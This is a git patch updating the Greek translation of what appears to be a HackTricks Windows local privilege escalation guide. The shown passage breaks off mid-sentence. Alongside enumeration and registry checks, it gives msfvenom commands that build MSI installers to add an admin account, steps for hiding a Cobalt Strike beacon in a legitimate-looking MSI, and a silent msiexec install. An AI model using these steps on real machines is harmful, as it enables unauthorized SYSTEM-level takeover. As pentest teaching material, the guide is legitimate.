From b77007495eda1e2c1c33355fa235b3248d2e94ba Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 3 Sep 2025 15:41:12 +0000 Subject: [PATCH] Translated ['', 'src/windows-hardening/windows-local-privilege-escalatio --- .../README.md | 689 ++++++++++-------- 1 file changed, 367 insertions(+), 322 deletions(-) diff --git a/src/windows-hardening/windows-local-privilege-escalation/README.md b/src/windows-hardening/windows-local-privilege-escalation/README.md index a834af81e..65b74dd58 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/README.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -### **Καλύτερο εργαλείο για αναζήτηση των Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) +### **Καλύτερο εργαλείο για την αναζήτηση Windows local privilege escalation vectors:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) -## Αρχική θεωρία για τα Windows +## Αρχική θεωρία για Windows ### Access Tokens @@ -33,9 +33,9 @@ acls-dacls-sacls-aces.md integrity-levels.md {{#endref}} -## Έλεγχοι ασφαλείας των Windows +## Έλεγχοι ασφάλειας στα Windows -Υπάρχουν διάφορα στοιχεία στα Windows που μπορούν να **σας αποτρέψουν από το να κάνετε enumeration στο σύστημα**, να τρέξετε εκτελέσιμα ή ακόμη και να **ανιχνεύσουν τις δραστηριότητές σας**. Πρέπει να **διαβάσετε** την παρακάτω **σελίδα** και να **απαριθμήσετε** όλους αυτούς τους **μηχανισμούς άμυνας** πριν ξεκινήσετε την privilege escalation enumeration: +Υπάρχουν διάφορα στοιχεία στα Windows που μπορούν να σας **εμποδίσουν να πραγματοποιήσετε την καταγραφή του συστήματος**, να εκτελέσετε εκτελέσιμα αρχεία ή ακόμα και να **ανιχνεύσουν τις δραστηριότητές σας**. Πρέπει να **διαβάσετε** την παρακάτω **σελίδα** και να **καταγράψετε** όλους αυτούς τους **μηχανισμούς** **άμυνας** πριν ξεκινήσετε την privilege escalation enumeration: {{#ref}} @@ -44,9 +44,9 @@ integrity-levels.md ## Πληροφορίες Συστήματος -### Ανάκτηση πληροφοριών έκδοσης +### Έλεγχος πληροφοριών έκδοσης -Ελέγξτε αν η έκδοση των Windows έχει κάποια γνωστή ευπάθεια (ελέγξτε επίσης τα patches που έχουν εφαρμοστεί). +Ελέγξτε αν η έκδοση των Windows έχει κάποια γνωστή ευπάθεια (ελέγξτε επίσης τις εφαρμοσμένες επιδιορθώσεις). ```bash systeminfo systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information @@ -59,16 +59,16 @@ wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architec Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches Get-Hotfix -description "Security update" #List only "Security Update" patches ``` -### Εκμεταλλεύσεις εκδόσεων +### Εκμεταλλεύσεις ανά έκδοση -This [site](https://msrc.microsoft.com/update-guide/vulnerability) is handy for searching out detailed information about Microsoft security vulnerabilities. This database has more than 4,700 security vulnerabilities, showing the **massive attack surface** that a Windows environment presents. +This [site](https://msrc.microsoft.com/update-guide/vulnerability) is handy for searching out detailed information about Microsoft security vulnerabilities. This database has more than 4,700 security vulnerabilities, showing the **τεράστια επιφάνεια επίθεσης** that a Windows environment presents. **Στο σύστημα** - _post/windows/gather/enum_patches_ - _post/multi/recon/local_exploit_suggester_ - [_watson_](https://github.com/rasta-mouse/Watson) -- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) (_Winpeas έχει ενσωματωμένο το watson_) +- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas has watson embedded)_ **Τοπικά με πληροφορίες συστήματος** @@ -83,7 +83,7 @@ This [site](https://msrc.microsoft.com/update-guide/vulnerability) is handy for ### Περιβάλλον -Υπάρχει οποιοδήποτε credential/Juicy info αποθηκευμένο στις env variables? +Έχουν αποθηκευτεί διαπιστευτήρια/Juicy πληροφορίες στις μεταβλητές περιβάλλοντος (env variables); ```bash set dir env: @@ -99,7 +99,7 @@ type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.tx cat (Get-PSReadlineOption).HistorySavePath cat (Get-PSReadlineOption).HistorySavePath | sls passw ``` -### PowerShell Transcript files +### Αρχεία PowerShell Transcript Μπορείτε να μάθετε πώς να το ενεργοποιήσετε στο [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/) ```bash @@ -116,7 +116,7 @@ Stop-Transcript ``` ### PowerShell Module Logging -Καταγράφονται λεπτομέρειες των εκτελέσεων pipeline του PowerShell, συμπεριλαμβανομένων των εκτελεσθεισών εντολών, των κλήσεων εντολών και τμημάτων των scripts. Ωστόσο, οι πλήρεις λεπτομέρειες εκτέλεσης και τα αποτελέσματα εξόδου ενδέχεται να μην καταγράφονται. +Καταγράφονται λεπτομέρειες των εκτελέσεων του PowerShell pipeline, που περιλαμβάνουν εκτελεσμένες εντολές, κλήσεις εντολών και τμήματα scripts. Ωστόσο, ενδέχεται να μην καταγράφονται πλήρως όλες οι λεπτομέρειες εκτέλεσης και τα αποτελέσματα εξόδου. Για να το ενεργοποιήσετε, ακολουθήστε τις οδηγίες στην ενότητα "Transcript files" της τεκμηρίωσης, επιλέγοντας **"Module Logging"** αντί για **"Powershell Transcription"**. ```bash @@ -131,14 +131,14 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` ### PowerShell **Script Block Logging** -Καταγράφεται ένα πλήρες αρχείο δραστηριότητας και το πλήρες περιεχόμενο της εκτέλεσης του script, εξασφαλίζοντας ότι κάθε block of code τεκμηριώνεται καθώς εκτελείται. Αυτή η διαδικασία διατηρεί ένα ολοκληρωμένο audit trail για κάθε δραστηριότητα, πολύτιμο για forensics και την ανάλυση malicious behavior. Με την τεκμηρίωση όλης της δραστηριότητας κατά τη στιγμή της εκτέλεσης, παρέχονται λεπτομερείς πληροφορίες για τη διαδικασία. +Καταγράφεται πλήρες ιστορικό και το πλήρες περιεχόμενο της εκτέλεσης του script, εξασφαλίζοντας ότι κάθε block of code τεκμηριώνεται καθώς εκτελείται. Αυτή η διαδικασία διατηρεί ένα ολοκληρωμένο audit trail για κάθε ενέργεια, πολύτιμο για forensics και την ανάλυση κακόβουλης συμπεριφοράς. Με την καταγραφή όλης της δραστηριότητας κατά τον χρόνο εκτέλεσης, παρέχονται λεπτομερείς πληροφορίες για τη διαδικασία. ```bash reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` -Τα γεγονότα καταγραφής για το Script Block μπορούν να εντοπιστούν στον Windows Event Viewer στη διαδρομή: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ +Τα συμβάντα καταγραφής για το Script Block μπορούν να εντοπιστούν στον Windows Event Viewer στη διαδρομή: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**.\ Για να δείτε τα τελευταία 20 συμβάντα μπορείτε να χρησιμοποιήσετε: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview @@ -148,7 +148,7 @@ Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings" ``` -### Μονάδες δίσκου +### Δίσκοι ```bash wmic logicaldisk get caption || fsutil fsinfo drives wmic logicaldisk get caption,description,providername @@ -156,17 +156,17 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ``` ## WSUS -Μπορείτε να παραβιάσετε το σύστημα εάν οι ενημερώσεις δεν ζητούνται χρησιμοποιώντας http**S** αλλά http. +Μπορείτε να παραβιάσετε το σύστημα εάν οι ενημερώσεις ζητούνται μέσω http αντί για http**S**. -Ξεκινάτε ελέγχοντας αν το δίκτυο χρησιμοποιεί μη-SSL ενημέρωση WSUS εκτελώντας το παρακάτω στο cmd: +Ξεκινάτε ελέγχοντας αν το δίκτυο χρησιμοποιεί ενημέρωση WSUS χωρίς SSL εκτελώντας τα εξής στο cmd: ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` -Ή το ακόλουθο σε PowerShell: +Ή το εξής στο PowerShell: ``` Get-ItemProperty -Path HKLM:\Software\Policies\Microsoft\Windows\WindowsUpdate -Name "WUServer" ``` -Εάν λάβετε μια απάντηση όπως μία από τις παρακάτω: +Εάν λάβετε μια απάντηση όπως κάποια από αυτές: ```bash HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535 @@ -180,11 +180,11 @@ PSChildName : windowsupdate PSDrive : HKLM PSProvider : Microsoft.PowerShell.Core\Registry ``` -Και αν `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` ή `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` είναι ίσο με `1`. +Και αν `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` ή `Get-ItemProperty -Path hklm:\software\policies\microsoft\windows\windowsupdate\au -name "usewuserver"` ισούται με `1`. -Τότε, **είναι εκμεταλλεύσιμο.** Αν η τελευταία καταχώριση μητρώου ισούται με 0, τότε η καταχώριση WSUS θα αγνοηθεί. +Τότε, **είναι εκμεταλλεύσιμο.** Αν το τελευταίο κλειδί μητρώου ισούται με 0, τότε η καταχώρηση WSUS θα αγνοηθεί. -Για να εκμεταλλευτείτε αυτές τις ευπάθειες μπορείτε να χρησιμοποιήσετε εργαλεία όπως: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - Αυτά είναι MiTM weaponized exploits scripts για την εισαγωγή 'fake' ενημερώσεων στην μη-SSL WSUS κίνηση. +Για να εκμεταλλευτείτε αυτές τις ευπάθειες μπορείτε να χρησιμοποιήσετε εργαλεία όπως: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus)- Πρόκειται για scripts εκμετάλλευσης MiTM που εγχέουν 'fake' ενημερώσεις στην non-SSL WSUS κίνηση. Διαβάστε την έρευνα εδώ: @@ -194,18 +194,18 @@ CTX_WSUSpect_White_Paper (1).pdf **WSUS CVE-2020-1013** -[**Διαβάστε την πλήρη αναφορά εδώ**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ -Βασικά, αυτή είναι η αδυναμία που εκμεταλλεύεται αυτό το bug: +[**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ +Στην ουσία, αυτή είναι η ευπάθεια που εκμεταλλεύεται αυτό το bug: -> Αν έχουμε τη δυνατότητα να τροποποιήσουμε τον τοπικό proxy του χρήστη μας, και τα Windows Updates χρησιμοποιούν τον proxy που έχει ρυθμιστεί στις ρυθμίσεις του Internet Explorer, τότε έχουμε τη δυνατότητα να τρέξουμε το [PyWSUS](https://github.com/GoSecure/pywsus) τοπικά για να αναχαιτίσουμε την κίνησή μας και να τρέξουμε κώδικα ως αυξημένος χρήστης στο σύστημά μας. +> Αν έχουμε τη δυνατότητα να τροποποιήσουμε τον τοπικό proxy του χρήστη, και τα Windows Updates χρησιμοποιούν τον proxy ρυθμισμένο στις ρυθμίσεις του Internet Explorer, τότε έχουμε τη δυνατότητα να τρέξουμε το [PyWSUS](https://github.com/GoSecure/pywsus) τοπικά για να παρεμποδίσουμε την δική μας κίνηση και να εκτελέσουμε κώδικα ως αυξημένος χρήστης στο asset μας. > -> Επιπλέον, επειδή η υπηρεσία WSUS χρησιμοποιεί τις ρυθμίσεις του τρέχοντος χρήστη, θα χρησιμοποιήσει επίσης και την αποθήκη πιστοποιητικών του. Αν δημιουργήσουμε ένα self-signed πιστοποιητικό για το hostname του WSUS και προσθέσουμε αυτό το πιστοποιητικό στην αποθήκη πιστοποιητικών του τρέχοντος χρήστη, θα μπορέσουμε να αναχαιτίσουμε τόσο HTTP όσο και HTTPS WSUS κίνηση. Το WSUS δεν χρησιμοποιεί μηχανισμούς τύπου HSTS για να υλοποιήσει έναν έλεγχο trust-on-first-use στο πιστοποιητικό. Αν το παρουσιαζόμενο πιστοποιητικό είναι εμπιστευμένο από τον χρήστη και έχει το σωστό hostname, θα γίνει αποδεκτό από την υπηρεσία. +> Επιπλέον, αφού η υπηρεσία WSUS χρησιμοποιεί τις ρυθμίσεις του τρέχοντος χρήστη, θα χρησιμοποιήσει επίσης και το certificate store του. Αν δημιουργήσουμε ένα self-signed certificate για το hostname του WSUS και προσθέσουμε αυτό το πιστοποιητικό στο certificate store του τρέχοντος χρήστη, θα είμαστε σε θέση να παρεμποδίσουμε τόσο την HTTP όσο και την HTTPS κίνηση WSUS. Το WSUS δεν χρησιμοποιεί μηχανισμούς τύπου HSTS για να εφαρμόσει ένα trust-on-first-use είδους επικύρωσης στο πιστοποιητικό. Αν το πιστοποιητικό που παρουσιάζεται είναι αξιόπιστο από τον χρήστη και έχει το σωστό hostname, θα γίνει αποδεκτό από την υπηρεσία. -Μπορείτε να εκμεταλλευτείτε αυτή την ευπάθεια χρησιμοποιώντας το εργαλείο [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (μόλις κυκλοφορήσει). +Μπορείτε να εκμεταλλευτείτε αυτή την ευπάθεια χρησιμοποιώντας το εργαλείο [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (μόλις απελευθερωθεί). -## Third-Party Auto-Updaters and Agent IPC (local privesc) +## Auto-Updaters τρίτων και Agent IPC (local privesc) -Πολλοί agent επιχειρήσεων εκθέτουν μια επιφάνεια IPC στο localhost και ένα προνομιακό κανάλι ενημερώσεων. Αν η enrollment μπορεί να εξαναγκαστεί σε server επιτιθέμενου και ο updater εμπιστεύεται ένα rogue root CA ή έχει αδύναμους ελέγχους υπογραφής, ένας τοπικός χρήστης μπορεί να παραδώσει ένα κακόβουλο MSI που η υπηρεσία SYSTEM εγκαθιστά. Δείτε μια γενικευμένη τεχνική (βασισμένη στην αλυσίδα Netskope stAgentSvc – CVE-2025-0309) εδώ: +Πολλοί enterprise agents εκθέτουν μια επιφάνεια localhost IPC και ένα privileged update κανάλι. Αν η enrollment μπορεί να εξαναγκαστεί σε έναν attacker server και ο updater εμπιστεύεται ένα rogue root CA ή έχει αδύναμους ελέγχους υπογραφής, ένας τοπικός χρήστης μπορεί να παραδώσει ένα κακόβουλο MSI που η υπηρεσία SYSTEM θα εγκαταστήσει. Δείτε μια γενικευμένη τεχνική (βασισμένη στην αλυσίδα Netskope stAgentSvc – CVE-2025-0309) εδώ: {{#ref}} abusing-auto-updaters-and-ipc.md @@ -213,15 +213,15 @@ abusing-auto-updaters-and-ipc.md ## KrbRelayUp -Μια **local privilege escalation** ευπάθεια υπάρχει σε περιβάλλοντα Windows **domain** υπό συγκεκριμένες προϋποθέσεις. Αυτές οι προϋποθέσεις περιλαμβάνουν περιβάλλοντα όπου **LDAP signing is not enforced,** οι χρήστες διαθέτουν αυτο-δικαιώματα που τους επιτρέπουν να διαμορφώσουν **Resource-Based Constrained Delegation (RBCD),** και τη δυνατότητα για χρήστες να δημιουργούν υπολογιστές στο domain. Είναι σημαντικό να σημειωθεί ότι αυτές οι **απαιτήσεις** ικανοποιούνται με τις **default settings**. +Μια **local privilege escalation** ευπάθεια υπάρχει σε περιβάλλοντα Windows **domain** υπό συγκεκριμένες συνθήκες. Αυτές οι συνθήκες περιλαμβάνουν περιβάλλοντα όπου **LDAP signing is not enforced**, οι χρήστες διαθέτουν self-rights που τους επιτρέπουν να ρυθμίσουν την **Resource-Based Constrained Delegation (RBCD)**, και την ικανότητα για τους χρήστες να δημιουργούν υπολογιστές μέσα στο domain. Είναι σημαντικό να σημειωθεί ότι αυτές οι **requirements** ικανοποιούνται με τις **default settings**. -Βρείτε το **exploit στο** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) +Βρείτε το **exploit** στο [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) Για περισσότερες πληροφορίες σχετικά με τη ροή της επίθεσης δείτε [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) ## AlwaysInstallElevated -**Αν** αυτές οι 2 καταχωρήσεις είναι **ενεργοποιημένες** (η τιμή είναι **0x1**), τότε χρήστες οποιουδήποτε επιπέδου προνομίων μπορούν να **εγκαταστήσουν** (εκτελέσουν) `*.msi` αρχεία ως NT AUTHORITY\\**SYSTEM**. +**Αν** αυτά τα 2 κλειδιά είναι **ενεργοποιημένα** (η τιμή είναι **0x1**), τότε χρήστες οποιουδήποτε προνομίου μπορούν να **εγκαταστήσουν** (εκτελέσουν) `*.msi` αρχεία ως NT AUTHORITY\\**SYSTEM**. ```bash reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated @@ -231,50 +231,50 @@ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallEle msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted ``` -If you have a meterpreter session you can automate this technique using the module **`exploit/windows/local/always_install_elevated`** +Αν έχετε μια meterpreter συνεδρία, μπορείτε να αυτοματοποιήσετε αυτήν την τεχνική χρησιμοποιώντας το module **`exploit/windows/local/always_install_elevated`** ### PowerUP -Χρησιμοποιήστε την εντολή `Write-UserAddMSI` από το power-up για να δημιουργήσετε μέσα στον τρέχοντα κατάλογο ένα Windows MSI binary για να αποκτήσετε αυξημένα προνόμια. Το script αυτό γράφει έναν προ-συνταγμένο MSI installer που ζητάει προσθήκη χρήστη/ομάδας (οπότε θα χρειαστείτε πρόσβαση GUI): +Χρησιμοποιήστε την εντολή `Write-UserAddMSI` από το power-up για να δημιουργήσετε στον τρέχοντα κατάλογο ένα Windows MSI binary για την κλιμάκωση προνομίων. Αυτό το σενάριο εξάγει έναν προμεταγλωττισμένο MSI εγκαταστάτη που ζητά την προσθήκη χρήστη/ομάδας (οπότε θα χρειαστείτε πρόσβαση GIU): ``` Write-UserAddMSI ``` -Απλώς εκτελέστε το δημιουργημένο δυαδικό για να ανυψώσετε τα δικαιώματα. +Απλά εκτελέστε το δημιουργημένο binary για να αυξήσετε τα προνόμια. ### MSI Wrapper -Διαβάστε αυτόν τον οδηγό για να μάθετε πώς να δημιουργήσετε ένα MSI wrapper χρησιμοποιώντας αυτά τα εργαλεία. Σημειώστε ότι μπορείτε να τυλίξετε ένα "**.bat**" αρχείο εάν **απλώς** θέλετε να **εκτελέσετε** **εντολές γραμμής εντολών** +Διαβάστε αυτόν τον οδηγό για να μάθετε πώς να δημιουργήσετε έναν MSI wrapper χρησιμοποιώντας αυτά τα εργαλεία. Σημειώστε ότι μπορείτε να ενσωματώσετε ένα "**.bat**" αρχείο αν απλώς θέλετε να **εκτελέσετε** **εντολές** {{#ref}} msi-wrapper.md {{#endref}} -### Δημιουργία MSI με WIX +### Create MSI with WIX {{#ref}} create-msi-with-wix.md {{#endref}} -### Δημιουργία MSI με Visual Studio +### Create MSI with Visual Studio -- **Δημιουργήστε** με Cobalt Strike ή Metasploit ένα **new Windows EXE TCP payload** στο `C:\privesc\beacon.exe` -- Ανοίξτε **Visual Studio**, επιλέξτε **Create a new project** και πληκτρολογήστε "installer" στο πλαίσιο αναζήτησης. Επιλέξτε το project **Setup Wizard** και κάντε κλικ στο **Next**. +- **Δημιουργήστε** με Cobalt Strike ή Metasploit ένα **Windows EXE TCP payload** στο `C:\privesc\beacon.exe` +- Ανοίξτε **Visual Studio**, επιλέξτε **Create a new project** και πληκτρολογήστε "installer" στο πεδίο αναζήτησης. Επιλέξτε το project **Setup Wizard** και κάντε κλικ στο **Next**. - Δώστε στο project ένα όνομα, όπως **AlwaysPrivesc**, χρησιμοποιήστε **`C:\privesc`** για την τοποθεσία, επιλέξτε **place solution and project in the same directory**, και κάντε κλικ στο **Create**. -- Συνεχίστε να πατάτε **Next** μέχρι να φτάσετε στο βήμα 3 από 4 (choose files to include). Κάντε κλικ στο **Add** και επιλέξτε το Beacon payload που μόλις δημιουργήσατε. Έπειτα κάντε κλικ στο **Finish**. -- Επισημάνετε το project **AlwaysPrivesc** στο **Solution Explorer** και στις **Properties**, αλλάξτε το **TargetPlatform** από **x86** σε **x64**. -- Υπάρχουν άλλες ιδιότητες που μπορείτε να αλλάξετε, όπως το **Author** και το **Manufacturer**, που μπορούν να κάνουν την εγκατεστημένη εφαρμογή να φαίνεται πιο νόμιμη. +- Συνεχίστε να κάνετε κλικ στο **Next** μέχρι να φτάσετε στο βήμα 3 από 4 (choose files to include). Κάντε κλικ στο **Add** και επιλέξτε το Beacon payload που μόλις δημιουργήσατε. Έπειτα κάντε κλικ στο **Finish**. +- Επιλέξτε το project **AlwaysPrivesc** στο **Solution Explorer** και στις **Properties**, αλλάξτε το **TargetPlatform** από **x86** σε **x64**. +- Υπάρχουν και άλλες ιδιότητες που μπορείτε να αλλάξετε, όπως τα **Author** και **Manufacturer**, τα οποία μπορούν να κάνουν την εγκατεστημένη εφαρμογή να φαίνεται πιο νόμιμη. - Κάντε δεξί κλικ στο project και επιλέξτε **View > Custom Actions**. - Κάντε δεξί κλικ στο **Install** και επιλέξτε **Add Custom Action**. -- Κάντε διπλό κλικ στο **Application Folder**, επιλέξτε το αρχείο **beacon.exe** και κάντε κλικ στο **OK**. Αυτό θα εξασφαλίσει ότι το beacon payload θα εκτελεστεί μόλις τρέξει ο installer. +- Κάντε διπλό κλικ στο **Application Folder**, επιλέξτε το αρχείο **beacon.exe** και πατήστε **OK**. Αυτό θα διασφαλίσει ότι το Beacon payload θα εκτελείται μόλις τρέξει ο installer. - Στις **Custom Action Properties**, αλλάξτε το **Run64Bit** σε **True**. -- Τέλος, **build it**. +- Τέλος, **κάντε build**. - Αν εμφανιστεί η προειδοποίηση `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, βεβαιωθείτε ότι έχετε ορίσει την πλατφόρμα σε x64. -### Εγκατάσταση MSI +### MSI Installation -Για να εκτελέσετε την **εγκατάσταση** του κακόβουλου `.msi` αρχείου στο **παρασκήνιο:** +Για να εκτελέσετε την **εγκατάσταση** του κακόβουλου `.msi` αρχείου στο **background:** ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` @@ -284,7 +284,7 @@ msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ### Ρυθμίσεις Ελέγχου -Αυτές οι ρυθμίσεις αποφασίζουν τι **καταγράφεται**, οπότε πρέπει να προσέξετε +Αυτές οι ρυθμίσεις καθορίζουν τι **καταγράφεται**, οπότε πρέπει να δώσετε προσοχή ``` reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` @@ -296,7 +296,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ``` ### LAPS -Το LAPS έχει σχεδιαστεί για τη διαχείριση των local Administrator passwords, εξασφαλίζοντας ότι κάθε κωδικός είναι μοναδικός, τυχαίος και ενημερώνεται τακτικά σε υπολογιστές που ανήκουν σε domain. Αυτοί οι κωδικοί αποθηκεύονται με ασφάλεια στο Active Directory και μπορούν να προσπελαστούν μόνο από χρήστες που έχουν λάβει επαρκή δικαιώματα μέσω ACLs, επιτρέποντάς τους να δουν local admin passwords εφόσον έχουν εξουσιοδότηση. +**LAPS** έχει σχεδιαστεί για τη **διαχείριση των τοπικών κωδικών πρόσβασης διαχειριστή**, εξασφαλίζοντας ότι κάθε κωδικός είναι **μοναδικός, τυχαιοποιημένος και ενημερώνεται τακτικά** σε υπολογιστές που είναι ενταγμένοι σε domain. Αυτοί οι κωδικοί αποθηκεύονται με ασφάλεια μέσα στο Active Directory και μπορούν να προσπελαστούν μόνο από χρήστες στους οποίους έχουν χορηγηθεί τα κατάλληλα δικαιώματα μέσω ACLs, επιτρέποντάς τους να βλέπουν τους τοπικούς κωδικούς διαχειριστή εφόσον είναι εξουσιοδοτημένοι. {{#ref}} @@ -305,27 +305,27 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -Εάν είναι ενεργό, **plain-text passwords are stored in LSASS** (Local Security Authority Subsystem Service).\ +Εάν είναι ενεργό, **οι κωδικοί σε απλό κείμενο αποθηκεύονται στο LSASS** (Local Security Authority Subsystem Service).\ [**More info about WDigest in this page**](../stealing-credentials/credentials-protections.md#wdigest). ```bash reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential ``` ### LSA Protection -Από το **Windows 8.1**, η Microsoft εισήγαγε αυξημένη προστασία για το Local Security Authority (LSA) ώστε να **αποτρέπει** προσπάθειες από μη αξιόπιστες διεργασίες να **διαβάσουν τη μνήμη του** ή να εγχύσουν κώδικα, ενισχύοντας περαιτέρω την ασφάλεια του συστήματος.\ -[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection). +Από τα **Windows 8.1**, η Microsoft εισήγαγε ενισχυμένη προστασία για το Local Security Authority (LSA) ώστε να **block** τις προσπάθειες μη αξιόπιστων διεργασιών να **read its memory** ή inject code, ενισχύοντας περαιτέρω την ασφάλεια του συστήματος.\ +[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection) ```bash reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL ``` ### Credentials Guard -**Credential Guard** εισήχθη στα **Windows 10**. Σκοπός του είναι να προστατεύει τα credentials που αποθηκεύονται σε μια συσκευή από απειλές όπως τα pass-the-hash attacks.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) +**Credential Guard** εισήχθη στα **Windows 10**. Ο σκοπός του είναι να προστατεύει τα credentials που είναι αποθηκευμένα σε μια συσκευή από απειλές όπως επιθέσεις pass-the-hash.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) ```bash reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags ``` -### Αποθηκευμένα διαπιστευτήρια +### Αποθηκευμένα Διαπιστευτήρια -**Διαπιστευτήρια domain** πιστοποιούνται από την **Local Security Authority** (LSA) και χρησιμοποιούνται από συστατικά του λειτουργικού συστήματος. Όταν τα στοιχεία σύνδεσης ενός χρήστη πιστοποιούνται από ένα καταχωρημένο πακέτο ασφάλειας, τα διαπιστευτήρια domain για τον χρήστη συνήθως δημιουργούνται.\ +**Διαπιστευτήρια domain** αυθεντικοποιούνται από την **Τοπική Αρχή Ασφαλείας** (LSA) και χρησιμοποιούνται από τα συστατικά του λειτουργικού συστήματος. Όταν τα στοιχεία σύνδεσης ενός χρήστη αυθεντικοποιούνται από ένα καταχωρημένο security package, συνήθως δημιουργούνται διαπιστευτήρια domain για τον χρήστη.\ [**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials). ```bash @@ -333,9 +333,9 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO ``` ## Χρήστες & Ομάδες -### Καταγραφή Χρηστών & Ομάδων +### Απαρίθμηση Χρηστών & Ομάδων -Θα πρέπει να ελέγξετε αν κάποιες από τις ομάδες στις οποίες ανήκετε έχουν ενδιαφέροντα δικαιώματα +Πρέπει να ελέγξετε εάν κάποια από τις ομάδες στις οποίες ανήκετε διαθέτει ενδιαφέροντα δικαιώματα. ```bash # CMD net users %username% #Me @@ -352,17 +352,17 @@ Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` ### Ομάδες με προνόμια -Εάν **ανήκετε σε κάποια ομάδα με προνόμια, μπορεί να καταφέρετε να κλιμακώσετε τα προνόμιά σας**. Μάθετε για τις ομάδες με προνόμια και πώς να τις εκμεταλλευτείτε για να κλιμακώσετε προνόμια εδώ: +Εάν **ανήκετε σε κάποια ομάδα με προνόμια, μπορεί να μπορέσετε να ανεβάσετε τα προνόμιά σας**. Μάθετε για τις ομάδες με προνόμια και πώς να τις εκμεταλλευτείτε για να αυξήσετε τα προνόμια εδώ: {{#ref}} ../active-directory-methodology/privileged-groups-and-token-privileges.md {{#endref}} -### Χειρισμός token +### Διαχείριση token **Μάθετε περισσότερα** για το τι είναι ένα **token** σε αυτή τη σελίδα: [**Windows Tokens**](../authentication-credentials-uac-and-efs/index.html#access-tokens).\ -Δείτε την παρακάτω σελίδα για να **μάθετε για ενδιαφέροντα token** και πώς να τα εκμεταλλευτείτε: +Δείτε την επόμενη σελίδα 